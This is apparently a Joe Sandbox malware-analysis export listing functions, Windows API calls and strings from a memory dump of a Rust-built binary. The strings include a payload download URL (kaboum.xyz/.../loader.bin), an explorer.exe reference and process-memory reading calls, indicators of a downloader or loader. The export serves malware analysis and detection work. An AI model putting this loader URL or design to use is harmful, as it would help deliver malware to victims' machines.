assertion failed: filled <= self.buf.init/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\core\src\io\borrowed_buf.rs, xrefs: 00007FF652E3444E
https://kaboum.xyz/artdonjon/loader.bin, xrefs: 00007FF652E320DE
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF652E32E1D
base64 is always valid HeaderValue/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/reqwest-0.12.9/src/util.rs, xrefs: 00007FF652E32C4D
has_authority means set_password shouldn't fail, xrefs: 00007FF652E3236E

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy$ErrorLast$memset$FrequencyPerformanceQueryValue
String ID: */*$:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs$Total CPUIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64$assertion failed: filled <= self.buf.init/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\core\src\io\borrowed_buf.rs$base64 is always valid HeaderValue/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/reqwest-0.12.9/src/util.rs$called `Result::unwrap()` on an `Err` value$cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs$cannot clone `Sender` -- too many outstanding senders$core thread panicked$explorer.exe[-]no process!$has_authority means set_password shouldn't fail$has_authority means set_username shouldn't fail$https://kaboum.xyz/artdonjon/loader.bin$reqwest-internal-sync-runtime$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs$tx only taken on error
API String ID: 1065744907-505664108
Opcode ID: e8a6fa0cd747172ccf97e35843fef26804dc59bfbb62fe1f51eedd3f8f461339
Instruction ID: 9011a988854d956ad3d2b627467767fce28e30d7c883305e8054e2ca60abb669
Opcode Fuzzy Hash: e8a6fa0cd747172ccf97e35843fef26804dc59bfbb62fe1f51eedd3f8f461339
Instruction Fuzzy Hash: 90438132A08BD281EB61DB15E8413EE73A0FB94788F48413ADA8DA7795DFBCE545C740

Function 00007FF652E9DB4C Relevance: 65.5, APIs: 37, Strings: 5, Instructions: 2549COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E9DBF3
memcpy.MSVCRT ref: 00007FF652E9DC0C
memcpy.MSVCRT ref: 00007FF652E9DD72
memcpy.MSVCRT ref: 00007FF652E9DD9F
memcpy.MSVCRT ref: 00007FF652E9DDB7
memcpy.MSVCRT ref: 00007FF652E9DE01
memcpy.MSVCRT ref: 00007FF652E9E029
memcpy.MSVCRT ref: 00007FF652E9E0E9
memcpy.MSVCRT ref: 00007FF652E9E143

Strings

uri host is valid header value, xrefs: 00007FF652E9F89F
authority implies host, xrefs: 00007FF652E9F63C
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF652EA13BA
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF652EA1415
httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF652E9F6BE

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: authority implies host$httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs$uri host is valid header value
API String ID: 3510742995-3598388769
Opcode ID: 15b026c839df52e1b237edccb872f9110d8d9caa37896bceb100c9d48ac26d34
Instruction ID: 26693330c5c86a20bb7873e2d2398b30f2d6c5c2241dad2d5464b87be3019b84
Opcode Fuzzy Hash: 15b026c839df52e1b237edccb872f9110d8d9caa37896bceb100c9d48ac26d34
Instruction Fuzzy Hash: 0C63762260CBD185E7218B19E8453EEB7A4FB99788F085126DFCC53B5AEF78D195CB00

Function 00007FF652EA7BD2 Relevance: 42.0, APIs: 17, Strings: 6, Instructions: 1782COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EA7C51
memcpy.MSVCRT ref: 00007FF652EA9FB8
memcpy.MSVCRT ref: 00007FF652EAA021
memcpy.MSVCRT ref: 00007FF652EAA06F
memcpy.MSVCRT ref: 00007FF652EAA091
memcpy.MSVCRT ref: 00007FF652EAA0C7
memcpy.MSVCRT ref: 00007FF652EAA97F
memcpy.MSVCRT ref: 00007FF652EAA9A9
memcpy.MSVCRT ref: 00007FF652EAAA58

Strings

assertion failed: self.inner.semaphore.is_idle()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.42.0/src/sync/mpsc/chan.rs, xrefs: 00007FF652EA9F8F, 00007FF652EA9FF0
invalid maximum TLS version for backendvalid request parts, xrefs: 00007FF652EA8D59
NO_PROXYno_proxy, xrefs: 00007FF652EA84B9
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF652EAB0F0
ALL_PROXYall_proxyHTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer, xrefs: 00007FF652EA7E0F, 00007FF652EA7E38
httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF652EA7E08, 00007FF652EA7E61, 00007FF652EA7ED3, 00007FF652EA7F01, 00007FF652EA831B, 00007FF652EAA172

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: ALL_PROXYall_proxyHTTP_PROXYhttp_proxyHTTPS_PROXYhttps_proxyREQUEST_METHODSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsProxyEnableProxyServer$NO_PROXYno_proxy$assertion failed: self.inner.semaphore.is_idle()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.42.0/src/sync/mpsc/chan.rs$httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs$invalid maximum TLS version for backendvalid request parts$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs
API String ID: 3510742995-1754031384
Opcode ID: a7b2c415e79e00baa69b974b451b5bbd76efcb43084eaa55a2d9d90cae54049f
Instruction ID: ffc143d7116ec20e8f3d0bd73186b600f11efd6e07083d7863e4b69cc273d7be
Opcode Fuzzy Hash: a7b2c415e79e00baa69b974b451b5bbd76efcb43084eaa55a2d9d90cae54049f
Instruction Fuzzy Hash: 47135B32A08BD181E721CB15E8453EEB7A0FB95788F484129DB8DA7B99DFBCE145C740

Function 00007FF652EE111E Relevance: 30.7, APIs: 14, Strings: 3, Instructions: 939COMMON

Download Yara Rule

Strings

Unable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=, xrefs: 00007FF652EE1821
assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF652EE28E1
cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF652EE2961

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID: Unable to check WOW64 information about the processUnable to read 32 bit process parametersUnable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=$assertion failed: is_code_point_boundary(self, new_len)$cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs
API String ID: 0-3024255780
Opcode ID: dd20600e91f099c321e294231ae5ffcfae3ed58548ed35b960c5d08289d81a8b
Instruction ID: da1017a66562efc07d2b248323c529f134dd478c1a527e95ae62a4cbda946f7e
Opcode Fuzzy Hash: dd20600e91f099c321e294231ae5ffcfae3ed58548ed35b960c5d08289d81a8b
Instruction Fuzzy Hash: B0A2507660DBD281E7748B11E8443EAB3A0FB85B88F584139DA8DA7B99DF7CD584C700

Function 00007FF652E7AFA4 Relevance: 23.4, APIs: 8, Strings: 7, Instructions: 943
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF652E7B19E

Strings

TryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF652E7FC15
already called/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-util-0.1.10/src/service/oneshot.rs, xrefs: 00007FF652E7FBCD
Map must not be polled after it returned `Poll::Ready`, xrefs: 00007FF652E7FBE5
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E7FCF6
ALPN upgraded to HTTP/2, xrefs: 00007FF652E7BDC2
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF652E7FBFD
assertion failed: max <= u32::MAX as usize, xrefs: 00007FF652E7FC2F

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: ALPN upgraded to HTTP/2$Map must not be polled after it returned `Poll::Ready`$TryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs$already called/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-util-0.1.10/src/service/oneshot.rs$assertion failed: max <= u32::MAX as usize$called `Result::unwrap()` on an `Err` value$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 3510742995-3657608712
Opcode ID: caf63542028e10221de42491d55a3b746ad9c7d10dc73b177c3febe2f1b9d921
Instruction ID: 7a37e9fd0c5c919884f68574e679b48fbfe3556488afa564ad1d82aea9150b65
Opcode Fuzzy Hash: caf63542028e10221de42491d55a3b746ad9c7d10dc73b177c3febe2f1b9d921
Instruction Fuzzy Hash: 62B26132A0CBD185E7718B15E8503EAB3A0FB99748F085129DB8D93B96DF7CE595CB00

Function 00007FF652EE168A Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 356memorynativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 00007FF652EE174D
ReadProcessMemory.KERNEL32 ref: 00007FF652EE1782
ReadProcessMemory.KERNEL32 ref: 00007FF652EE17BA
NtQueryInformationProcess.NTDLL ref: 00007FF652EE1846
ReadProcessMemory.KERNEL32 ref: 00007FF652EE18A4
OpenProcessToken.ADVAPI32 ref: 00007FF652EE1A73
GetTokenInformation.ADVAPI32 ref: 00007FF652EE1AB4
GetLastError.KERNEL32 ref: 00007FF652EE1ABD
GetProcessHeap.KERNEL32 ref: 00007FF652EE1AD3
HeapAlloc.KERNEL32 ref: 00007FF652EE1AE3
GetTokenInformation.ADVAPI32 ref: 00007FF652EE1B14
CloseHandle.KERNEL32 ref: 00007FF652EE1B6E
CloseHandle.KERNEL32 ref: 00007FF652EE1BD6
memcpy.MSVCRT ref: 00007FF652EE1DEF

Strings

assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF652EE28E1
Unable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=, xrefs: 00007FF652EE178C

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: Process$Information$MemoryReadToken$CloseHandleHeapQuery$AllocErrorLastOpenmemcpy
String ID: Unable to read PEB32Unable to get basic process informationUnable to read process parametersUnable to read process PEB=$assertion failed: is_code_point_boundary(self, new_len)
API String ID: 1405736319-996793776
Opcode ID: 1c60b250641b2c01ee04eb1216ec6bb0741356fa34d570a9604431f907b5f984
Instruction ID: 793ca298c4951e4503d8330e8989bc08249d6f85ca212b8caae13127a7d8884f
Opcode Fuzzy Hash: 1c60b250641b2c01ee04eb1216ec6bb0741356fa34d570a9604431f907b5f984
Instruction Fuzzy Hash: 61124D72A0CBD281E7708B15E8503EAB3A0F795B48F544229DACDA7B99DF7CD584CB00

Function 00007FF652E83980 Relevance: 22.5, APIs: 7, Strings: 7, Instructions: 1490COMMON

Download Yara Rule

Strings

HTTP/1.0, xrefs: 00007FF652E84138
, xrefs: 00007FF652E83E25
, xrefs: 00007FF652E843F1
assertion failed: slot.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/oneshot.rs, xrefs: 00007FF652E86C40
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF652E86B9B
HTTP/1.1, xrefs: 00007FF652E8411A
PRI * HTTP/2.0SM, xrefs: 00007FF652E862A0

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID: $ $HTTP/1.0$HTTP/1.1$PRI * HTTP/2.0SM$assertion failed: slot.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/oneshot.rs$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs
API String ID: 0-639811174
Opcode ID: c01fd2ddececcd2ae29b4a1b7153c03c603b4873e82ef81c92e0cb1db5d3ceae
Instruction ID: 46fcde4e5c411a4f85bd8efc650bf063f1aadebbf8ecac0f2a84efdb6acb6526
Opcode Fuzzy Hash: c01fd2ddececcd2ae29b4a1b7153c03c603b4873e82ef81c92e0cb1db5d3ceae
Instruction Fuzzy Hash: D8F2BF32A0CBE185EA758B11E8443EE67A4FB85788F484139DACDA3B95DFBCD585C700

Function 00007FF652EE0AEF Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 554
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00007FF652EE1014
OpenProcess.KERNEL32(00000000,?,000001FB,00000000,?,?,?,00000000,00007FF652EE4768), ref: 00007FF652EE103C
memset.MSVCRT ref: 00007FF652EE1076
GetModuleFileNameExW.PSAPI(00000000,?,000001FB,00000000,?,?,?,00000000,00007FF652EE4768), ref: 00007FF652EE1089

Part of subcall function 00007FF652EE0867: memcpy.MSVCRT ref: 00007FF652EE0A21

memcpy.MSVCRT ref: 00007FF652EE1DEF
memcpy.MSVCRT ref: 00007FF652EE1E8C
memcpy.MSVCRT ref: 00007FF652EE2721
memcpy.MSVCRT ref: 00007FF652EE283D

Part of subcall function 00007FF652EE2F73: GetSystemTimes.KERNEL32 ref: 00007FF652EE2FFC
Part of subcall function 00007FF652EE2F73: GetProcessIoCounters.KERNEL32 ref: 00007FF652EE3136

Strings

assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF652EE28E1
Idle<no name> Process , xrefs: 00007FF652EE0F53
System/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/sysinfo-0.29.11/src/windows/cpu.rsTotal CPUIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64, xrefs: 00007FF652EE0F3C
cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF652EE2961

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy$Process$Open$CountersFileModuleNameSystemTimesmemset
String ID: Idle<no name> Process $System/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/sysinfo-0.29.11/src/windows/cpu.rsTotal CPUIntel x86MIPSRISC AlphaPPCSHXARMIntel Itanium-based x64RISC Alpha x64MSIL(Intel or AMD) x64Intel Itanium-based x86unknownARM x64$assertion failed: is_code_point_boundary(self, new_len)$cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs
API String ID: 4187610372-634804069
Opcode ID: cab19e81934b1c7fcf4d27a71ff546e64249ef766f140ad7b61b794a63dc9a6a
Instruction ID: cbfc9b972c80d639f45bc40cdbfe3fa733caaa11913566511418355dc6941d96
Opcode Fuzzy Hash: cab19e81934b1c7fcf4d27a71ff546e64249ef766f140ad7b61b794a63dc9a6a
Instruction Fuzzy Hash: 9F528B32A09BD681E671CB15E8403EEB3A4FB98788F54422ADACC67B59DF7CD195C700

Function 00007FF652EA54C0 Relevance: 19.3, APIs: 5, Strings: 5, Instructions: 1784COMMON

Download Yara Rule

APIs

CreateIoCompletionPort.KERNEL32 ref: 00007FF652EA55FA
memcpy.MSVCRT ref: 00007FF652EA58BD
memcpy.MSVCRT ref: 00007FF652EA58E0
memcpy.MSVCRT ref: 00007FF652EA5917

Part of subcall function 00007FF652EBA7A0: TlsGetValue.KERNEL32(?,?,?,00007FF652EB0235,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF652EBA7B6

memcpy.MSVCRT ref: 00007FF652EA6259

Strings

(, xrefs: 00007FF652EA76DF
=, xrefs: 00007FF652EA55AB
Failed to `Enter::block_on`, xrefs: 00007FF652EA77A7
assertion failed: c.runtime.get().is_entered()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.42.0/src/runtime/context/runtime.rs, xrefs: 00007FF652EA784B
cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF652EA78FE

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy$CompletionCreatePortValue
String ID: ($=$Failed to `Enter::block_on`$assertion failed: c.runtime.get().is_entered()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-1.42.0/src/runtime/context/runtime.rs$cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs
API String ID: 1001953169-1818827251
Opcode ID: 3866194ec84b5c076abb53728f4afc4b4267959fda1f56661cf54ff58d55fdce
Instruction ID: 6861cbea28fc114fabf2d78d65f968c286aabaf05977f21c34fc852dd7f19bcf
Opcode Fuzzy Hash: 3866194ec84b5c076abb53728f4afc4b4267959fda1f56661cf54ff58d55fdce
Instruction Fuzzy Hash: CB137C32A08BD182EB659B15E8443EEB3A4FB99748F084139DB8D97B95DFBCE145C700

Function 00007FF652E811D0 Relevance: 17.9, APIs: 6, Strings: 5, Instructions: 1443COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E813BB
memcpy.MSVCRT ref: 00007FF652E814D6
memcpy.MSVCRT ref: 00007FF652E81515
memcpy.MSVCRT ref: 00007FF652E831DB
memcpy.MSVCRT ref: 00007FF652E83200
memcpy.MSVCRT ref: 00007FF652E83216

Strings

Map must not be polled after it returned `Poll::Ready`, xrefs: 00007FF652E83472
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF652E8348A
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF652E833DC
00current header name/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h1/encode.rs, xrefs: 00007FF652E82BCB
connection error/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h2/mod.rs, xrefs: 00007FF652E8301F

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: 00current header name/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h1/encode.rs$Map must not be polled after it returned `Poll::Ready`$connection error/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h2/mod.rs$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs
API String ID: 3510742995-3842020311
Opcode ID: 26169a31779ff81f4683d1f29368a32f55b127f3936116a4c16f1155664e40b5
Instruction ID: b952073aa10d23a6d56bf29276aa7b849ff5bf5313ec6db21fd6e29a21e19c01
